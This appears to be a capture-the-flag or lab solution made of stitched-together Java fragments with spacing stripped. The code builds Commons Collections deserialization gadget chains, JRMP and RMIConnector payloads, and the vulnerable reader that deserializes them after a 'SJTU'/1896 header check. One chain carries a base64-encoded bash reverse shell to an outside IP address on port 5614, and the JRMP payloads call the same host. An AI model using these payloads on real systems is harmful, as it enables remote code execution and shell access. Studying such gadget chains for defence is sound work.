publicclassCC6{ publicstaticvoidmain(String[] args)throws Exception{ Transformer[] transformers = new Transformer[]{ new ConstantTransformer(1) };
Transformer[] transformers1 = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",new Class[0]}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec",new Class[]{String.class}, new String[]{"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84Mi4xNTYuMi4xNjYvNTYxNCAwPiYx}|{base64,-d}|{bash,-i}"}), new ConstantTransformer(1) };
Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); Map outMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry tiedMapEntry = new TiedMapEntry(outMap, "aa");
Map exp = new HashMap(); exp.put(tiedMapEntry, "bb");
outMap.remove("aa");
Field field = ChainedTransformer.class.getDeclaredField("iTransformers"); field.setAccessible(true); field.set(transformerChain, transformers1);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
public UnicastRemoteObject getObject( final String command )throws Exception { int jrmpPort = Integer.parseInt(command); UnicastRemoteObject uro = Reflections.createWithConstructor(ActivationGroupImpl.class, RemoteObject.class, new Class[] { RemoteRef.class }, new Object[] { new UnicastServerRef(jrmpPort) });
// class [Lorg.apache.commons.collections.Transformer; // Exception in thread "main" java.lang.ClassNotFoundException: [Lorg.apache.commons.collections.Transformer; // at java.net.URLClassLoader.findClass(URLClassLoader.java:381) // at java.lang.ClassLoader.loadClass(ClassLoader.java:424) // at java.lang.ClassLoader.loadClass(ClassLoader.java:357) // at lab3.Index.main(Index.java:30)
publicclassJrmpListener{ publicstaticvoidmain(String[] args)throws Exception{ ObjID objID = new ObjID(new Random().nextInt()); // 对象标识符 TCPEndpoint tcpEndpoint = new TCPEndpoint("82.156.2.166",2444); // 与远程的RMI服务连接 UnicastRef unicastRef = new UnicastRef(new LiveRef(objID, tcpEndpoint, false)); // \ RemoteObjectInvocationHandler rih = new RemoteObjectInvocationHandler(unicastRef); Registry registry = (Registry) Proxy.newProxyInstance(JrmpListener.class.getClassLoader(), new Class[]{Registry.class}, rih); // 通过动态代理实例化Registry接口
ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream os = new ObjectOutputStream(bos); os.writeUTF("SJTU"); os.writeInt(1896); os.writeObject(registry); os.close();
publicclassExp{ publicstaticvoidmain(String[] args)throws Exception{ Transformer[] fakeTrans = new Transformer[]{ new ConstantTransformer(1) }; Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}), new ConstantTransformer(1) };
Transformer transformer = new ChainedTransformer(fakeTrans ); Map innerMap = new HashMap(); Map outMap = LazyMap.decorate(innerMap, transformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(outMap, "a");
Map exp = new HashMap(); exp.put(tiedMapEntry, "b"); outMap.remove("a");
Field field = ChainedTransformer.class.getDeclaredField("iTransformers"); field.setAccessible(true); field.set(transformer, transformers);
ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bos); oos.writeObject(exp); oos.close(); byte[] bytes = bos.toByteArray();
publicclassExp{ publicstaticvoidmain(String[] args)throws Exception{ Transformer[] fakeTrans = new Transformer[]{ new ConstantTransformer(1) }; Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"touch /tmp/ameuu"}), new ConstantTransformer(1) };
Transformer transformer = new ChainedTransformer(fakeTrans); Map innerMap = new HashMap(); Map outMap = LazyMap.decorate(innerMap, transformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(outMap, "aa");
Map exp = new HashMap(); exp.put(tiedMapEntry, "bb");
outMap.remove("aa");
Field field = ChainedTransformer.class.getDeclaredField("iTransformers"); field.setAccessible(true); field.set(transformer, transformers);
ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bos); oos.writeObject(exp); oos.close(); byte[] bytes = bos.toByteArray();
RMIConnector rmiConnector = new RMIConnector(new JMXServiceURL("service:jmx:rmi://127.0.0.1:12345/stub/"+Base64.getEncoder().encodeToString(bytes)), null);
Map map = new HashMap(); Transformer invoke = new InvokerTransformer("toString", null, null); Map map1 = LazyMap.decorate(map, invoke); TiedMapEntry tiedMapEntry1 = new TiedMapEntry(map1, rmiConnector); Map exp1 = new HashMap(); exp1.put(tiedMapEntry1, "aa"); map1.remove(rmiConnector);
Field field1 = InvokerTransformer.class.getDeclaredField("iMethodName"); field1.setAccessible(true); field1.set(invoke, "connect");
ByteArrayOutputStream b = new ByteArrayOutputStream(); ObjectOutputStream o = new ObjectOutputStream(b); o.writeUTF("SJTU"); o.writeInt(1896); o.writeObject(exp1); System.out.println(Utils.bytesTohexString(b.toByteArray()));
publicclassExp{ publicstaticvoidsetField(Object o,String name, Object value)throws Exception{ Field field = o.getClass().getDeclaredField(name); field.setAccessible(true); field.set(o, value); }
publicstaticvoidmain(String[] args)throws Exception{ Transformer[] fake = new Transformer[]{ new ConstantTransformer(1) };
Transformer[] trueTrans = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"bash -c {echo,}|{base64,-d}|{bash,-i}"}), new ConstantTransformer(1) };
Transformer transformer = new ChainedTransformer(fake);
Map innerMap = new HashMap(); Map outMap = LazyMap.decorate(innerMap, transformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(outMap, "aa");
Map exp = new HashMap(); exp.put(tiedMapEntry, "bb"); outMap.remove("aa");
Field field = ChainedTransformer.class.getDeclaredField("iTransformers"); field.setAccessible(true); field.set(transformer, trueTrans);
// serialize ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bos); oos.writeObject(exp); byte[] bytes = bos.toByteArray();
MarshalledObject marshalledObject = new MarshalledObject(); setField(marshalledObject, "bytes", bytes);
ByteArrayOutputStream bos1 = new ByteArrayOutputStream(); ObjectOutputStream oos1 = new ObjectOutputStream(bos1); oos1.writeUTF("SJTU"); oos1.writeInt(1896); oos1.writeObject(marshalledObject); System.out.println(Utils.bytesTohexString(bos1.toByteArray()));
// deserialize for test // ByteArrayInputStream bis = new ByteArrayInputStream(bos1.toByteArray()); // ObjectInputStream ois = new ObjectInputStream(bis); // ois.readObject(); } }
publicclassJrmpListener{ publicstaticvoidmain(String[] args)throws Exception{ ObjID objID = new ObjID(new Random().nextInt()); // 对象标识符 TCPEndpoint tcpEndpoint = new TCPEndpoint("82.156.2.166",2444); // 与远程的RMI服务连接 UnicastRef unicastRef = new UnicastRef(new LiveRef(objID, tcpEndpoint, false)); // \\ RemoteObjectInvocationHandler rih = new RemoteObjectInvocationHandler(unicastRef); ActivationInstantiator registry = (ActivationInstantiator) Proxy.newProxyInstance(JrmpListener.class.getClassLoader(), new Class[]{ActivationInstantiator.class}, rih); // 通过反射
ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream os = new ObjectOutputStream(bos); os.writeUTF("SJTU"); os.writeInt(1896); os.writeObject(registry); os.close();
// for test // ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray()); // ObjectInputStream ois = new ObjectInputStream(bis); // ois.readObject(); } }
publicclassIndex{ publicstaticvoidmain(String[] args)throws Exception{ Scanner scanner = new Scanner(System.in); String data = scanner.next(); byte[] b = Utils.hexStringToBytes(data); InputStream inputStream = new ByteArrayInputStream(b); MyObjectInputStream myObjectInputStream = new MyObjectInputStream(inputStream); String name = myObjectInputStream.readUTF(); int year = myObjectInputStream.readInt(); if (name.equals("SJTU") && year == 1896) myObjectInputStream.readObject();